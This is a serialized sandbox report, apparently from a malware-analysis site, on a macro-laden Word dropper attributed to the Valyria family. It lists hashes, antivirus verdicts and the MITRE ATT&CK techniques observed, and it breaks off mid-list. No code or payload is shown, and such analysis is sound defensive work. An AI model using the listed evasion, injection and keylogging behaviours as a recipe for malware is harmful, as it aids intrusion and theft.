"%ALLUSERSPROFILE%\a7963")4e:T938,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790451120466,"unified_at":"2026-09-26T19:32:00.466Z","metadata":{"hashes":{"sha256":"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665","sha1":"25c0a651d7bdfdfca2f37160837829bea669c5f7","md5":"90a59c16d670fd77d710516299533834","sha512":"99382bae4f1c8ac9c1cca47083ec321403d421e94d3036407b6f311e417c55e41ef11a404723a2e31ebaa5e0ef2b3181ba662987ee020b15a1e1c9045a2172dc","ssdeep":"384:Mo8AY64U4jOHgiI/6iSY5UFXoOfYxFSAtcwqVCM+V0hxtjiK6yOrX0jui3M:t/7dRc6lCMvxp6yOL5i","ssdeep_chunks":["384:Mo8AY64","384:o8AY64U","384:8AY64U4","384:AY64U4j","384:Y64U4jO","384:64U4jOH","384:4U4jOHg","384:U4jOHgi","384:4jOHgiI","384:jOHgiI/","384:OHgiI/6","384:HgiI/6i","384:giI/6iS","384:iI/6iSY","384:I/6iSY5","384:/6iSY5U","384:6iSY5UF","384:iSY5UFX","384:SY5UFXo","384:Y5UFXoO","384:5UFXoOf","384:UFXoOfY","384:FXoOfYx","384:XoOfYxF","384:oOfYxFS","384:OfYxFSA","384:fYxFSAt","384:YxFSAtc","384:xFSAtcw","384:FSAtcwq","384:SAtcwqV","384:AtcwqVC","384:tcwqVCM","384:cwqVCM+","384:wqVCM+V","384:qVCM+V0","384:VCM+V0h","384:CM+V0hx","384:M+V0hxt","384:+V0hxtj","384:V0hxtji","384:0hxtjiK","384:hxtjiK6","384:xtjiK6y","384:tjiK6yO","384:jiK6yOr","384:iK6yOrX","384:K6yOrX0","384:6yOrX0j","384:yOrX0ju","384:OrX0jui","384:rX0jui3","384:X0jui3M","768:Mo8AY64","768:o8AY64U","768:8AY64U4","768:AY64U4j","768:Y64U4jO","768:64U4jOH","768:4U4jOHg","768:U4jOHgi","768:4jOHgiI","768:jOHgiI/","768:OHgiI/6","768:HgiI/6i","768:giI/6iS","768:iI/6iSY","768:I/6iSY5","768:/6iSY5U","768:6iSY5UF","768:iSY5UFX","768:SY5UFXo","768:Y5UFXoO","768:5UFXoOf","768:UFXoOfY","768:FXoOfYx","768:XoOfYxF","768:oOfYxFS","768:OfYxFSA","768:fYxFSAt","768:YxFSAtc","768:xFSAtcw","768:FSAtcwq","768:SAtcwqV","768:AtcwqVC","768:tcwqVCM","768:cwqVCM+","768:wqVCM+V","768:qVCM+V0","768:VCM+V0h","768:CM+V0hx","768:M+V0hxt","768:+V0hxtj","768:V0hxtji","768:0hxtjiK","768:hxtjiK6","768:xtjiK6y","768:tjiK6yO","768:jiK6yOr","768:iK6yOrX","768:K6yOrX0","768:6yOrX0j","768:yOrX0ju","768:OrX0jui","768:rX0jui3","768:X0jui3M","384:t/7dRc6","384:/7dRc6l","384:7dRc6lC","384:dRc6lCM","384:Rc6lCMv","384:c6lCMvx","384:6lCMvxp","384:lCMvxp6","384:CMvxp6y","384:Mvxp6yO","384:vxp6yOL","384:xp6yOL5","384:p6yOL5i"],"imphash":"Unknown"},"file_info":{"file_name":"file","file_type":["doc","office"],"file_type_id":"doc","file_size":53248,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1609143516000,"last_seen":1688978900000,"last_multi_scan":1688978900000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["targeted","velvetchollima","macros-on-open"]},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":58},"sandbox_signatures":{"informative_count":138,"suspicious_count":13,"malicious_count":11,"total":162},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Dropper/MSOffice.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent.vfu","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W97M/Agent.4862211","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.3607","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.3607 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.VFU trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Downloader.MSOffice.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Ole2.Vbs-heuristic.druvzi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Trojan.48F74D88","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Trojan.48F74D88","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W97M/Agent.BA.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Valyria","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Email Accounts","attack_id":"T1585.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1585/002","identifiers":[{"type":"informative","value":"Found email domains (string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains NTDLL native APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"References JavaScript(s)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Modifies user shell folders registry key"},{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to set the date and time of the file"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"suspicious","value":"Uses REG.EXE to add/load/import registry data"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"suspicious","value":"Contains ability to hook/unhook windows functions"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the OS information (API 